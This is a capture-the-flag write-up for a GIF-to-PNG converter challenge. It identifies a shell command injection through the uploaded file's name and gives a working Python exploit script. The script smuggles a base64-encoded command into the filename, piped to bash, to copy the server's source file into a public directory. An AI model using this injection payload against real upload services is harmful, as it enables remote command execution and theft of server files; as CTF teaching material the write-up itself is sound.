This challenge features an eccentric GIF to PNG converter web application. The challenge ships with a directory of the source code. The server is a Python3 Werkzeug application with a flag variable stored in the source code. We have to figure out how to leak the source code file on the server-side to get the flag.
Right away, we can see there is a command line injection vulnerability at ```main.py:73```. The line looks like this:
```pythoncommand = subprocess.Popen(f"ffmpeg -i 'uploads/{file.filename}' \"uploads/{uid}/%03d.png\"", shell=True)```
The file.filename variable (which is sent via the client upon file upload) can be controlled by an attacker. An attacker can set this filename to be arbitrary values. However, there are a few constraints that the filename must have in order to be "valid".
1. The filename must have the extension .gif2. The content type must be image/gif3. The filename must pass a regex constraint
The first two constraints are easy to bypass as the attacker can arbitrarily set the filename and content type from the client. The third constraint is a tad harder, but using our trusty regex knowledge, we can form the payload.
The condition we need to pass looks like this.
```pythonif not bool(re.match("^[a-zA-Z0-9_\-. '\"\=\$\(\)\|]*$", file.filename)) or ".." in file.filename:```
Luckily, our payload can contain any alphanumeric characters and a few symbols which will make our life much easier. In our case, besides alphanumeric characters, we only need these three characters: ```'```, ```-```, and ```|```.
Using the unix pipe operator, we can run multiple commands. Normally, the pipe operator routes the standard out from a specific process to another process, but in our case, we will use it for our command injection.
Initially, I tried to make my payload send the main.py file to a remote server via curl (and Python3), but I could not get it to work. Perhaps they set up strange firewall rules. I then took the obvious route of simply moving the ```main.py``` file to the ```uploads/``` directory on the webserver.
Here is my completed solution. It even features encoding the payload into base64 so you can use many other symbols!
```python#!/usr/bin/python3import requests, base64
# Shellcode to executeshellcode = "mkdir uploads/haxxxx && cp main.py uploads/haxxxx/main.py"
# b64 encoded shellcodeencoded = base64.b64encode(shellcode.encode("utf-8")).decode("utf-8")
# Exploit stringexp = f"\' | echo \'{encoded}\' | base64 -d  |  bash  | \'.gif"
# Upload filefiles = {'file':(exp, open('FullColourGIF.gif', 'rb'), 'image/gif')}r = requests.post("http://gif2png-cybrics2020.ctf.su/", files=files)```
Then, we simply need to access http://gif2png-cybrics2020.ctf.su/uploads/haxxxx/main.py to get our flag.